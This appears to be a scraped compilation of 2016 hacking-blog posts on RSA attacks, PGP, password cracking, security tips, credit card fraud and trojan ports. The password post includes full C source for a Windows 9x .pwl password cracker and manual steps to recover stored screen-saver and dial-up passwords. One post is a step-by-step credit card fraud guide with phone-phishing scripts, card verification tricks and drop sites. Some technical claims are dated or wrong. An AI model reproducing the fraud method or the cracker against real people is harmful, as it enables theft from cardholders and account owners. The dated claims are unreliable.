>>> 3.1 Known phi(N) <<<

Take a look at the RSA Cryptosystem's Key-Generation proccess. There is a great part relying

on (P-1)(Q-1). The 3rd conclusion of the Phi() function states that Phi(N) is equivalent to

(P-1)(Q-1) (Because N = PQ. P,Q = Primes).

The fact that Phi(N) is used in the proccess is useful to us if the app saves a log of the

proccess, or we can find Phi(N) in any other way.

Once Phi(N) is found, we can find P & Q. Here is how:

Phi(N) = PQ - (P+Q) +1 = N -P -Q +1

Therefore: Q = N -Phi(N) +1 -P

Now, N = PQ. Instead of Q we put the value from the last equation. Therefore:

N = P*(N -Phi(N) +1 -P), thus P^2 -P*(N -Phi(N) +1) +N = 0.

This is a typical quadratic equation, which you can solve using the quadratic formula.

Once solved, P is exposed, Therefore Q is exposed, Therefore key is factored.

>>> 3.2 Common Modulus <<<

The next scenario will relay on this basic one:

Suppose there is a modulus S which is shared among several people. Each has it's own private/public

exponents set, but all based on the same modulus. None of the men know the factors. (This scenerio

may occur if a company chooses to issue all of the employees with keys, and for optimization uses a

common modulus).

If one sends a message to two people sharing the same modulus, and an evesdropper is listening and

reading the communication, the evesdropper can get the original message out of the two.

* M - The original message

* J, K - The two ciphertexts

* S - The common modulus

* A, B - The public exponents of the two recipents

GCD(J,K) = 1, the evesdropper uses the extended euclidian algorithm to find two numbers such that

a*x + b*y = 1. Using x and y, the evesdropper computes:

M = (J^x)*(K^y) Mod S

And there you go...

The Basics of Cryptography

noreply@blogger.com (https://cyber-dw.blogspot.com/) — Wed, 20 Apr 2016 01:00:00 +0000

This guide is for educational purposes only I do not take any responsibility about anything

happen after reading the guide. I'm only telling you how to do this not to do it. It's your decision.

If you want to put this text on your Site/FTP/Newsgroup or anything else you can do it but don't

change anything without the permission of the author.

A word from the author:

I hope you like my texts and find them useful.

If you have any problem or some suggestion feel free to e-mail me but please don't send mails like

"I want to hack the US government please help me" or "Tell me how to bind a trojan into a .jpg"

Be sure if I can help you with something I will do it.

Table of Contents

1.What is this text about?

2.About Encryption and how it works

3.About the Cryptography and PGP

4.Ways of breaking the encryption

-Bad pass phrases

-Not deleted files

-Viruses and trojans

-Fake Version of PGP

1.What is this text about?

In this text I'll explain you everything about encryption,what is it,PGP,

ways that someone can read your encrypted files etc.Every hacker or

paranoid should use encryption and keep the other from reading their

files.The encryption is very important thing and I'll explain you how can

someone break and decrypt your files.

2.About Encryption and how it works

The Encryption is very old.Even Julius Caesar used it when he was

sending messages because he didn't trust to his messengers.You see

encryption is everywhere,when you watch some spy film you see

there's always a computer with encrypted files or some film about hackers

when the feds busted the hacker and they see all of the hacker's files are

encrypted.

When you have simple .txt file that you can read this is called "plain text".

But when you use encryption and encrypt the file it will become unreadable

by the time you don't enter the password.This text is called cipher text.

The process of converting a cipher text into plain text is called decryption.

Here's a little example:

Plain text ==>Encryption==>Ciphertext==>Descryption==>Plaintext

This example shows you the way when you encrypt and decrypt a file.

3.About the Cryptography and PGP

Cryptography is science that use the mathematics to encrypt and decrypt data.This science

let you keep your files and documents safe even on insecure networks like the Internet.

The cryptography can be weak and strong.The best is of course the strong one.Even when you

use all the computers in the world and they're doing billion operations in second you'll just need

BILLIONS of years to decrypt strong encryption.

PGP (Pretty Good Privacy) is maybe the best encryption program to encrypt your files and documents.

It work in this way:

When you encrypt one file with PGP,PGP first compress the file.This saves you disk space and modem

transmition.Then it creates a session key.This session key works with a very secure and fast

confidential encryption algorithm to encrypt the file.Then the session key is encrypted with the

recipient's public key.

PGP ask you for pass phrase not for password.This is more secure against the dictionary attacks

when someone tries to use all the words in a dictionary to get your password.When you use

pass phrase you can enter a whole phrase with upper and lowercase letters with numeric and

punctuation characters.

4.Ways of breaking the encryption

PGP has been written for people that want their files encrypted for people that want privacy.

When you send an e-mail it can be read from other people if you use PGP only the person for who

is the message will be able to read it.

Now you know many things about PGP and the encryption but you may like to know can someone

break it and read your private texts and files.In fact if you use all the computers in the world to

decrypt a simple PGP message they'll need 12 million times the age of the universe to break it.

You see this is the BEST the encryption is so strong noone can break it.

The people that program it has done their work now everything depends on you.

-Bad pass phrases

The algorithm is unbreakable but they're other ways to decrypt the text and read it.

One of the biggest mistakes when someone writes his/her pass phrase is that the pass phrase is

something like : "John" "I love you" and such lame phrases.Other one are the name of some friend

or something like that.This is not good because this is pass phrase not password make it longer

put numbers and other characters in it.The longer your pass phrase is the harder it will be guessed

but put whole sentences even one that doesn't make sense just think in this way:

Someone is brute-forcing thousands of pass phrases from a dictionary therefore my pass phrase

should be someone that is not there in the dictionary something very stupid like:

hEllowOrld33IjustwanTtoteLLtoev3ryon3thatI'maLamErandI'mahacKer666

This is easy to remember because it's funny and there are only a few numbers but you may not use

upper and lowercase characters.I hope you know will put some very good pass phrase and be sure

noone will know it.

Another mistake is that you may write the pass phase on a paper and if someone find it you'll loose

it and he/she will be able to read your encrypted files.

-Not deleted files

Another big security problem is how most of the operating systems delete files.So when you encrypt

the file you delete the plain text and of course leave the encrypted one.

But the system doesn't actually delete the file.It just mark those blocks of the disk deleted and free.

Someone may run a disk recovery program and still see all the files but in plaintext.Even when you're

writing your text file with a word editor it can create some temporary copies of it.When you close it

these files are deleted but as I told you they're still somewhere on your computer.

PGP has tool called PGP Secure Wipe that complete removes all deleted files from your computer

by overwriting them.In this way you'll only have the encrypted files on your computer.

-Viruses and Trojans

Another dangerous security problem are the viruses and the trojans.So when you infect with a

trojan the attacker may run a key logger on your system.

*Note

A key logger is a program that captures all keystrokes pressed by you then saves them on your

hard drive or send them to the attacker

***************************************

So after the attacker run it he/she will be able to see everything you have written on your computer

and of course with your PGP pass phrase.

There are also a viruses designed to do this.Simpy record your pass phrase and send it back to the

attacker.

-Fake Version of PGP

Another security problem is the PGP source that is

available so someone can make a fake copy of it that is recording your pass phase and

sending it back to the attacker.The program will look real and it will work but it may also have

functions you even don't know about.

A way of defending of these security problems is to use a trojan and a virus scanner.You should

also be sure your computer is clean from viruses and trojans when you install PGP and also be sure

you get PGP from Network Associates Inc. not from some other pages.

So now I hope you understand that PGP can't be braked but if you use it wisely and be sure

your pass phrase is good one,you're not infected with viruses or trojans and you're using the

real version of PGP you'll be secure.

tHe mAnIaC is a member of Black Sun Research Facility (BSRF).

Get more BSRF tutorials at http://blacksun.box.sk.

Password Cracking Decrypted

noreply@blogger.com (https://cyber-dw.blogspot.com/) — Tue, 19 Apr 2016 11:58:00 +0000

All of you would probably must have come across the term 'password'. Ever wondered why

exactly passwords work and how to crack them? Well, this manual will answer all your queries

about passwords and make you an expert in cracking passwords.

First of all, what exactly is a password.A password is best described as a verification or an

authentication tool or object. Passwords are used to ensure legal and proper access to only those

people who have the authority or the permission to view the data.A password is required in many

places,you are required a password, to access your Inbox, you are required a password to dial up

to your Internet Service Provider and in some organisations you also need to enter a password to

start the system.At all places the Username and Password pair is used to authenticate the user.

Usernames are used to identify the user and the password is used to authenticate the user and

for every unique username there is a unique password.Take the example of the Lock and Key, for

every lock you need a unique key to open it and enter.Here the Lock acts as the Username and

the password would be the key.So passwords are as important as the key of your house.

Your house remains safe as long as only you who is the rightful owner has the key and no one

else finds it.Similiarly, the concept behind passwords is that it is only the rightful owner who

knows the password and no one else knows it.Everyday we hear about password stealing,

computer break ins etc.Sometimes the user chooses very lame passwords which are easily

guessed by hackers.There are certain guidelines which I would like to tell you which you must

keep in mind while choosing a password:

1. Never keep your password same as your Username

2. Never choose your own name, Date of Birth, spouse's name, pet's name, child's name etc as

your password, those are the first ones which are tried by a hacker.

3. Some people are so lazy that they keep their password to be 'Enter' (Carriage return)

4. Try to choose a word which is not in the dictionary and contains both numbers and alphabets,

and if possible use both Lower Case and Upper Case alphabets and also symbols like

(#,$,%,^ etc) as they can be cracked only be brute force password crackers which take too

long a time to crack.

You may say that choosing of weak passwords is responsible for the large number of hacks, but

people themselves are the weakest chain in the whole authentication process.Most people

usually use lame passwords like those I mentioned above, and those who use excellent

passwords are not able to remember them and then write the password down on a piece of paper

and stick it on their monitor.One should try his level best to remember weird passwords if he

wants to keep his system secure.The best places where you can find the passwords, would be

beneath the keyboard, behind the CPU or even on the sides of the monitor.

Some people have trouble remembering the large number of passwords that they are asked for,

while using various services, as a result they use the same password everywhere.Thus knowing

even a single password might help in some cases.

Password Cracking

The most common method of password cracking is password guessing, although it requires a lot

of luck, it can be successful sometimes.To start to guess the password, you first need to gather

all kinds of info about the victim.(See the Guidelines of keeping a password for more details.)

The most common and the most successful method of password cracking is th use of password

crackers.Now what exactly are password crackers? Now to understand what a password cracker

is and how it works, you first need to understand how a person is authenticated.

When you are creating a new account or registering or running the setup(basically whenever you

create a new account by entering the Username and Password.) you might be asked for the

Username and Password.The username is mostly stored in plaintext, but the password that you

enter is stored in an encrypted form.Now when you enter the password, it is passed through a pre

defined algoritm and is thus encrypted and is stored on the hard disk.So next time when you use

the account and enter the password, the text (password) you type is passed through the same

algorithm and is compared with the earlier stored value.If they both match, the user is

authenticated else the authentication fails.

The algorithm that is used to encrypt the password is a one way algorithm, by that I mean that if

we pass the encrypted password through the reverse algorithm, we will not get the original

plaintext password.

Lets take an example to make it more clear: Say your plaintext password is xyz123 and it is

passed through an algorithm and stored in the a file as 0101027AF. Now if you get his encrypted

password and know the algorithm which xyz123 is passed through to get 0101027AF, you cannot

reverse the algorithm to get xyz123 from 0101027AF.

When you are typing in your password, the computer does not display it in plaintext but instead

shows only stars i.e. ******** so that if someone is shoulder surfing, he cannot find out the

password.The text box has been programmed in such a way.On most forms Unix you will not

even see the asterix marks and the cursor will not move, so that neither does a person shoulder

surfing, find out the password nor does he find out the length of the password.

Password Crackers are of two types-: Brute Force and Dictionary Based.

Dictionary Based password Crackers try out all passwords from a given pre defined dictionary list

to crack a password.These are faster but more often than not are unsuccessful and do not return

the password.As they do not try out all combinations of possible keys, they are unable to crack

those passwords which have symbols or numbers in between.

Brute Force Password Crackers try out all combinations of all keys which can be found in the

keyboard (i.e. Symbols, Numbers, Alphabets) both Lower Case and Upper Case.These kinds of

Password Crackers have a greater success rate but take a long time to crack the password.As

they take all possible keys into consideration, they are more effective.

Now that you know the two main types of password crackers lets see how they work.

As passwords are encrypted by a one way algorithm, password crackers do not extract the

password from the file but instead take the combination of letters, encrypt them by passing the

characters through the original algorithm and compare this value with the stored encrypted

value.If these two match, then the password cracker displays the password in plaintext.

Cracking The Windows Login Password

The Windows ( 9x) password is passed through a very weak algorithm and is quite easy to crack.

Windows stores this login password in *.pwl files in the c:\windows directory.The .pwl files have

the filename which is the username coresponding to the password stored by it.A typical .pwl file

would be as follows:

Note: This .pwl file has been taken from a Win98 machine running IE 5.0

###############CUT HERE##############

ã‚…–

ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ

ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ

ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿR

p u.ÐX+|rÐq”±/2³ Êå¡hCJ‚D × `ÍY¥!íx}(qW¤ãÆ±<!?àÜ6šá˜ôæ

4+\¾õ+%E°ËÔýmÇÔ ÞI»‚ B à×œøÐ…'@

############CUT HERE#############

Lets go through the contents of this .pwl file.I am not sure what the first line signifies, but my

guess would be that it is the Name to which the computer is registered to.The next four lines have

just been entered by Windows and are not readable.The last two lines is the password but in the

encrypted form.There is no way to get the plaintext password by just studying the Windows

algorithm and these lines.To actually crack the password you need a simple but kewl cracker

coded in C called Glide.I have included the code below.If you have a sound C knowledge you can

study the code and actually experience how a password cracker works and how a password is

encrypted in Windows i.e. more about the Windows encryption algorithm.

*********************

Newbie Tip: All exploits, crackers, mail bombers practically everything related with Hacking has

been written in either Perl or C. If you really want to be considered an elitte hacker, you have to

know how to program, without a sound knowledge of either C (C++) or Perl you cannot hack

successfully.Almost all exploits available on the net have an important part edited or missing,

without which it has no use.Some exploits may be needed to be edited in order to be run in your

platform.In order to do all this programming is needed.

********************

#include <stdio.h>

#include <string.h>

#include <process.h>

#include <stdlib.h>

#include <ctype.h>

#include <conio.h>

unsigned char huge Data[100001];

unsigned char keystream[1001];

int Rpoint[300];

void main (int argc,char *argv[]) {

FILE *fd;

int i,j,k;

int size;

char ch;

char *name;

int cracked;

int sizemask;

int maxr;

int rsz;

int pos;

int Rall[300]; /* recource allocation table */

if (argc<2) {

printf("usage: glide filename (username)");

exit(1);

}

/* read PWL file */

fd=fopen(argv[1],"rb");

if(fd==NULL) {

printf("can't open file %s",argv[1]);

exit(1);

}

size=0;

while(!feof(fd)) {

Data[size++]=fgetc(fd);

}

size--;

fclose(fd);

/* find username */

name=argv[1];

if(argc>2) name=argv[2];

printf("Username: %s\n",name);

/* copy encrypted text into keystream */

cracked=size-0x0208;

if(cracked<0) cracked=0;

if(cracked>1000) cracked=1000;

memcpy(keystream,Data+0x208,cracked );

/* generate 20 bytes of keystream */

for(i=0;i<20;i++) {

ch=toupper(name[i]);

if(ch==0) break;

if(ch=='.') break;

keystream[i]^=ch;

};

cracked=20;

/* find allocated recources */

sizemask=keystream[0]+(keystream[1]<<8);

printf("Sizemask: %04X\n",sizemask);

for(i=0;i<256;i++) Rall[i]=0;

maxr=0;

for(i=0x108;i<0x208;i++) {

if(Data[i]!=0xff) {

Rall[Data[i]]++;

if (Data[i]>maxr) maxr=Data[i];

}

}

maxr=(((maxr/16)+1)*16); /* recource pointer table size appears to be divisable by

16 */

/* search after recources */

Rpoint[0]=0x0208+2*maxr+20+2; /* first recource */

for(i=0;i<maxr;i++) {

/* find size of current recource */

pos=Rpoint[i];

rsz=Data[pos]+(Data[pos+1]<<8);

rsz^=sizemask;

printf("Analyzing block with size: %04x\t(%d:%d)\n",rsz,i,Rall[i]);

if( (Rall[i]==0) && (rsz!=0) ) {

printf("unused resource has nonzero size !!!\n");

printf("If last line produced any : You may try to recover\n");

printf("press y to attempt recovery\n");

ch=getch();

if(ch!='y') exit(0);

rsz=2;

i-=1;

}

pos+=rsz;

/* Resources have a tendency to have the wrong size for some reason */

/* check for correct size */

if(i<maxr-1) {

while(Data[pos+3]!=keystream[1]) {

printf(":",Data[pos+3]);

pos+=2; /* very rude may fail */

}

}

pos+=2; /* include pointer in size */

Rpoint[i+1]=pos;

}

Rpoint[maxr]=size;

/* insert Table data into keystream */

for(i=0;i <= maxr;i++) {

keystream[20+2*i]^=Rpoint[i] & 0x00ff;

keystream[21+2*i]^=(Rpoint[i] >> 8) & 0x00ff;

}

cracked+=maxr*2+2;

printf("%d bytes of keystream recovered\n",cracked);

/* decrypt resources */

for(i=0;i < maxr;i++) {

rsz=Rpoint[i+1]-Rpoint[i];

if (rsz>cracked) rsz=cracked;

printf("Recource[%d] (%d)\n",i,rsz);

for(j=0;j<rsz;j++) printf("%c",Data[Rpoint[i]+j]^keystream[j]);

printf("\n");

}

exit(0);

}

Windows Screen Saver Password

This is an interesting hack and not many people know about it.This requires no canned hacking

tool, we will crack the password manually!!! First of all, why do we need to crack the Windows

Screen Saver? How does it restrict us? If a Screen Saver is password protected, then whenever it

is turned on, then in order to turn it off, you need to enter a password.It does not allow us to do

anything on a system until and unless we enter the password. We will keep seeing the screen

saver until we authenticate ourselves by entering the password.No not even CTRL+ALT+DEL

works in this case. Windows stores the Screen Saver password in the user.dat file in the

Windows directory.If you have multiple profiles on your system then it is stored in the user.dat file

in the c:\windows\profiles\username directory.(On Win 3x systems it is stored in the control.ini file

The user.dat file constitues the registry of the Windows system, thus we can say that the

Windows Screen Saver Password is stored in the registry.

First of all, you need to change the attributes of this file and make it editable by right clicking on it

and unselecting the Read Only Option else you will not be able to edit it.

Once this is done, open this file in WordPad (Any text editor will do except MS WORD And

Notepad.)Now look for the string: ScreenSave_Data

You will find an even number of characters after Data, this is the Screen Saver Password

encrypted and stored in the hex system.Each pair or hex values represent a single ASCII

plaintext character.This means that if there are 10 hex values then the password is of 5

characters, each pair of Hex values standing for a single plaintext ASCII character.So in order to

get the Plaintext password you just need to decrypt these hex values into ASCII.

Internet Dial Up Password

Have you ever wondered where Windows stores the Internet Connection Password when you

have enabled the 'Save Password' option in the 'Connect To' dialog box of the dial up connection.

Well this password is stored in the registry in the following registry key:

HKEY_CURRENT_USER\RemoteAccess\Profile\<connection name>

If you view the above key in the registry Editor then it probably will not appear understandable. If

you want to be able to understand the contents of this key and hence be able to edit this key,then

you will have to export this particular key and view it in Notepad.The password is stored in stored

as binary values and has to be converted into plantext ASCII before you are able to read it.

Windows NT Password

You have already seen how lame Windows 9x password encrypting algorithm is and how easy it

is to overide the Windows Login Password prompt in Win9x systems, well NT is a different

story.First of all lets see how the password is stored in NT….firstly the password is not encrypted,

it is hashed using the RSA hash function and then this hashed version is passed through am

algorithm to obscure it, once onscured,it is stored in the NT registry.Alongwith a stonger

password storing tecnique it all ships with various utilities which make it more secure….Service

Pack 2 ships with a dll which allows the system adminstrators to ensure that the Passwords used

by the users are strong or good enough.The User Manager can be configured to ensure that the

user passwords satisfy a particular condition, For example, it can check if the Users are using a

password of minimum length.

If you really want to learn all about NT security, you should read the NTBugtraq archives and join

their mailing list.The NTBugtraq Archive is the most comprehensive and exaustive collection of

NT Security info.Visit them at www.ntbugtraq.com

The site has everything that you would want to know about NT including the algorithm used to

obscure the hased password.There are various ways of getting administrator previledges in NT, I

am not mentioning all of them but have mentioned my favourite….Sam Attacks.If you want to

learn about all the ways of breaking into NT, then I recommend you to read the BugTraq

Arvhives.I would also be writing a Manual on Hacking NT quite Soon.

10 Fast and Free Security Enhancements

noreply@blogger.com (https://cyber-dw.blogspot.com/) — Mon, 18 Apr 2016 06:27:00 +0000

Before you spend a dime on security, there are many precautions you can take that will protect you against the most common threats.

1. Check Windows Update and Office Update regularly (_http://office.microsoft.com/productupdates); have your Office CD ready. Windows Me, 2000, and XP users can configure automatic updates. Click on the Automatic Updates tab in the System control panel and choose the appropriate options.

2. Install a personal firewall. Both SyGate (_www.sygate.com) and ZoneAlarm (_www.zonelabs.com) offer free versions.

3. Install a free spyware blocker. Our Editors' Choice ("Spyware," April 22) was SpyBot Search & Destroy (_http://security.kolla.de). SpyBot is also paranoid and ruthless in hunting out tracking cookies.

4. Block pop-up spam messages in Windows NT, 2000, or XP by disabling the Windows Messenger service (this is unrelated to the instant messaging program). Open Control Panel | Administrative Tools | Services and you'll see Messenger. Right-click and go to Properties. Set Start-up Type to Disabled and press the Stop button. Bye-bye, spam pop-ups! Any good firewall will also stop them.

5. Use strong passwords and change them periodically. Passwords should have at least seven characters; use letters and numbers and have at least one symbol. A decent example would be f8izKro@l. This will make it much harder for anyone to gain access to your accounts.

6. If you're using Outlook or Outlook Express, use the current version or one with the Outlook Security Update installed. The update and current versions patch numerous vulnerabilities.

7. Buy antivirus software and keep it up to date. If you're not willing to pay, try Grisoft AVG Free Edition (Grisoft Inc., w*w.grisoft.com). And doublecheck your AV with the free, online-only scanners available at w*w.pandasoftware.com/activescan and _http://housecall.trendmicro.com.

8. If you have a wireless network, turn on the security features: Use MAC filtering, turn off SSID broadcast, and even use WEP with the biggest key you can get. For more, check out our wireless section or see the expanded coverage in Your Unwired World in our next issue.

9. Join a respectable e-mail security list, such as the one found at our own Security Supersite at _http://security.ziffdavis.com, so that you learn about emerging threats quickly and can take proper precautions.

10. Be skeptical of things on the Internet. Don't assume that e-mail "From:" a particular person is actually from that person until you have further reason to believe it's that person. Don't assume that an attachment is what it says it is. Don't give out your password to anyone, even if that person claims to be from "support."

Credit Card Fraud

noreply@blogger.com (https://cyber-dw.blogspot.com/) — Fri, 15 Apr 2016 01:00:00 +0000

Credit Card Fraud

For most of you out there, money is hard to come by. Until now:

With the recent advent of plastic money (credit cards), it is

easy to use someone else's credit card to order the items you have

always desired in life. The stakes are high, but the payoff is

worth it.

Step One: Getting the credit card information

First off, you must obtain the crucial item: someone's credit

card number. The best way to get credit card numbers is to take

the blue carbons used in a credit card transaction at your local

department store. These can usually be found in the garbage can

next to the register, or for the more daring, in the garbage

dumpster behind the store. But, due to the large amount of credit

card fraud, many stores have opted to use a carbonless transaction

sheet, making things much more difficult. This is where your

phone comes in handy.

First, look up someone in the phone book, and obtain as much

information as possible about them. Then, during business hours,

call in a very convincing voice - "Hello, this is John Doe from

the Visa Credit Card Fraud Investigations Department. We have

been informed that your credit card may have been used for

fraudulent purposes, so will you please read off the numbers

appearing on your Visa card for verification." Of course, use

your imagination! Believe it or not, many people will fall for

this ploy and give out their credit information.

Now, assuming that you have your victim's credit card number, you

should be able to decipher the information given.

Step Two: Recognizing information from carbon copies

Card examples:

[American Express]

XXXX XXXXXX XXXXX

MM/Y1 THRU MM/Y2

JOE SHMOE

[American Express]

XXXX XXXXXX XXXXX

MM/Y1 THRU MM/Y2

JOE SHMOE

Explanation:

MM/Y1 is the date the card was issued, and MM/Y2 is the

expiration date. The American Express Gold Card has numbers

XXXXXX XXXXXXXX XXXXXXXX, and is covered for up to $5000.00,

even if the card holder is broke.

[Mastercard]

5XXX XXXX XXXX XXXX

XXXX AAA DD-MM-YY MM/YY

JOE SHMOE

Explanation:

XXXX in the second row may be asked for during the ordering

process. The first date is when the card was new, and the

second is when the card expires. The most frequent number

combination used is 5424 1800 XXXX XXXX. There are many of

these cards in circulation, but many of these are on wanted

lists, so check these first.

[Visa]

4XXX XXX(X) XXX(X) XXX(X)

MM/YY MM/YY*VISA

JOE SHMOE

Explanation:

Visa is the most abundant card, and is accepted almost

everywhere. The "*VISA" is sometimes replaced with "BWG", or

followed with a special code. These codes are as follows:

[1] MM/YY*VISA V - Preferred Card

[2] MM/YY*VISA CV - Classic Card

[3] MM/YY*VISA PV - Premier Card

Preferred Cards are backed with money, and are much safer to

use. Classic Cards are newer, harder to reproduce cards with

decent backing. Premier Cards are Classic Cards with Preferred

coverage. Common numbers are 4448 020 XXX XXX, 4254 5123 6000

XXXX, and 4254 5123 8500 XXXX. Any 4712 1250 XXXX XXXX cards

are IBM Credit Union cards, and are risky to use, although

they are usually covered for large purchases.

Step Three: Testing credit

You should now have a Visa, Mastercard, or American Express

credit card number, with the victim's address, zip code, and phone

number. By the way, if you have problems getting the address,

most phone companies offer the Address Tracking Service, which is

a special number you call that will give you an address from a

phone number, at a nominal charge. Now you need to check the

balance of credit on the credit card (to make sure you don't run

out of money), and you must also make sure that the card isn't

stolen. To do this you must obtain a phone number that

businesses use to check out credit cards during purchases. If you

go to a department store, watch the cashier when someone makes a

credit card purchase. He/she will usually call a phone number,

give the credit information, and then give what is called a

"Merchant Number". These numbers are usually written down on or

around the register. It is easy to either find these numbers and

copy them, or to wait until they call one in. Watch what they

dial and wait for the 8 digit (usually) merchant number. Once you

call the number, in a calm voice, read off the account number,

merchant number, amount, and expiration date. The credit bureau

will tell you if it is ok, and will give you an authorization

number. Pretend you are writing this number down, and repeat it

back to them to check it. Ignore this number completely, for it

serves no real purpose. However, once you do this, the bank

removes dollars equal to what you told them, because the card was

supposedly used to make a purchase. Sometimes you can trick the

operator by telling her the customer changed his mind and decided

not to charge it. Of course, some will not allow this. Remember

at all times that you are supposed to be a store clerk calling to

check out the card for a purchase. Act like you are talking with

a customer when he/she "cancels".

Step Four: The drop

Once the cards are cleared, you must find a place to have the

package sent. NEVER use a drop more than once. The following are

typical drop sites:

[1] An empty house

An empty house makes an excellent place to send things. Send the

package UPS, and leave a note on the door saying, "UPS. I work

days, 8 to 6. Could you please leave the package on the back door

step?" You can find dozens of houses from a real estate agent by

telling them you want to look around for a house. Ask for a list

of twenty houses for sale, and tell them you will check out the

area. Do so, until you find one that suits your needs.

[2] Rent A Spot

U-Haul sometimes rents spaces where you can have packages sent and

signed for. End your space when the package arrives.

[3] People's houses

Find someone you do not know, and have the package sent there.

Call ahead saying that "I called the store and they sent the

package to the wrong address. It was already sent, but can you

keep it there for me?" This is a very reliable way if you keep

calm when talking to the people.

Do NOT try post office boxes. Most of the time, UPS will not

deliver to a post office box, and many people have been caught in

the past attempting to use a post office box. Also, when you have

determined a drop site, keep an eye on it for suspicious

characters and cars that have not been there before.

Step Five: Making the transaction

You should now have a reliable credit card number with all the

necessary billing information, and a good drop site.

The best place to order from is catalogues, and mail order houses.

It is in your best interest to place the phone call from a pay

phone, especially if it is a 1-800 number. Now, when you call,

don't try to disguise your voice, thinking you will trick the

salesperson into believing you are an adult. These folks are

trained to detect this, so your best bet is to order in your own

voice. They will ask for the following: name, name as it appears

on card, phone number, billing address, expiration date, method of

shipping, and product. Ask if they offer UPS Red shipping (next

day arrival), because it gives them less time to research an

order. If you are using American Express, you might have a bit of

a problem shipping to an address other than the billing address.

Also, if the salesperson starts to ask questions, do NOT hang up.

Simply talk your way out of the situation, so you won't encourage

investigation on the order.

If everything goes right, you should have the product, free of

charge. Insurance picks up the tab, and no one is any wiser. Be

careful, and try not to order anything over $500. In some states,

UPS requires a signature for anything over $200, not to mention

that anything over $200 is defined as grand theft, as well as

credit fraud. Get caught doing this, and you will bite it for a

couple of years. Good luck!

Trojan Ports

noreply@blogger.com (https://cyber-dw.blogspot.com/) — Thu, 14 Apr 2016 06:00:00 +0000

TCP 1 Breach.2001, SocketsDeTroie.230, SocketsDeTroie.250
TCP 28 Amanda.200
TCP 31 MastersParadise.920
TCP 68 Subseven.100
TCP 142 NetTaxi.180
TCP 146 Infector.141, Intruder.100, Intruder.100
TCP 171 ATrojan.200
TCP 285 WCTrojan.100
TCP 286 WCTrojan.100
TCP 334 Backage.310
TCP 370 NeuroticKat.120, NeuroticKat.130
TCP 413 Coma.109
TCP 420 Breach.450
TCP 555 Id2001.100, PhaseZero.100, StealthSpy.100
TCP 623 Rtb666.160
TCP 660 Zaratustra.100
TCP 661 Noknok.800, Noknok.820
TCP 666 BackConstruction.210, BackConstruction.250, Bla.100, Bla.200, Bla.400, Bla.503, Cain.150, Dimbus.100, Noknok.820, Ripper.100, SatansBackdoor.100, SatansBackdoor.101, SatansBackdoor.102, Unicorn.100, Unicorn.101, Unicorn.110
TCP 667 SniperNet.210, Snipernet.220
TCP 668 Unicorn.101, Unicorn.110
TCP 680 Rtb666.160
TCP 777 Tiny.100, Undetected.230, Undetected.300, Undetected.310, Undetected.320, Undetected.330, Undetected.331, Undetected.332
TCP 785 NetworkTerrorist.100
TCP 800 NeuroticKitten.010
TCP 831 NeuroticKat.100, NeuroticKat.120, NeuroticKat.130
TCP 901 NetDevil.130, NetDevil.140
TCP 1000 DerSpaeher.200
TCP 1001 Silencer.100
TCP 1008 AutoSpy.100
TCP 1010 DerSpaeher.200
TCP 1015 Doly.150
TCP 1111 TPort.100
TCP 1130 Noknok.800, Noknok.820
TCP 1207 SoftWAR.100
TCP 1243 Subseven.100, SubSeven.110, SubSeven.180, SubSeven.190, Subseven.200
TCP 1245 VoodooDoll.006
TCP 1269 Matrix.130
TCP 1480 RemoteHack.130
TCP 1568 RemoteHack.100, RemoteHack.110
TCP 1600 DirectConnection.100
TCP 1601 DirectConnection.100
TCP 1602 DirectConnection.100
TCP 1634 NetCrack.100
TCP 1784 Snid.120, Snid.212
TCP 1999 TransmissionScout.100, TransmissionScout.110
TCP 2000 ATrojan.200, InsaneNetwork.400
TCP 2001 DIRT.220, TrojanCow.100
TCP 2003 TransmissionScout.100, TransmissionScout.110
TCP 2023 RipperPro.100
TCP 2040 InfernoUploader.100
TCP 2115 Bugs.100
TCP 2140 DeepThroat.100, DeepThroat.200, DeepThroat.310
TCP 2332 SilentSpy.202
TCP 2589 Dagger.140
TCP 2600 DigitalRootbeer.100
TCP 2989 Rat.200
TCP 3128 MastersParadise.970
TCP 3129 MastersParadise.920, MastersParadise.970
TCP 3150 DeepThroat.100, DeepThroat.200, DeepThroat.310, MiniBacklash.110
TCP 3215 BlackStar.100, Ghost.230
TCP 3333 Daodan.123
TCP 3410 OptixPro.100, OptixPro.110
TCP 3456 Force.155, TerrorTrojan.100
TCP 3505 AutoSpy.130, AutoSpy.140
TCP 3586 Snid.120, Snid.212
TCP 3700 PortalOfDoom.100
TCP 3723 Mantis.100
TCP 3800 Eclypse.100
TCP 3996 RemoteAnything.364
TCP 4000 SkyDance.220, SkyDance.229
TCP 4201 Wartrojan.160, Wartrojan.200
TCP 4225 SilentSpy.202
TCP 4321 Bobo.100
TCP 4444 AlexTrojan.200, Crackdown.100
TCP 4488 EventHorizon.100
TCP 4523 Celine.100
TCP 4545 InternalRevise.100, RemoteRevise.150
TCP 4567 FileNail.100
TCP 4666 Mneah.100
TCP 4950 ICQTrojan.100
TCP 5005 Aladino.060
TCP 5025 Keylogger.WMRemote.100
TCP 5031 NetMetro.104
TCP 5032 NetMetro.104
TCP 5033 NetMetro.104
TCP 5050 RoxRat.100
TCP 5151 OptixLite.020, OptixLite.030, OptixLite.040
TCP 5190 MBomber.100
TCP 5277 WinShell.400
TCP 5343 WCRat.100
TCP 5400 BackConstruction.120, BackConstruction.150, BladeRunner.080, DeepThroat.300
TCP 5401 BackConstruction.120, BackConstruction.150, BackConstruction.210, BackConstruction.250, BladeRunner.080, DeepThroat.300, Mneah.100
TCP 5402 BackConstruction.210, BackConstruction.250, BladeRunner.080, DeepThroat.300, Mneah.100
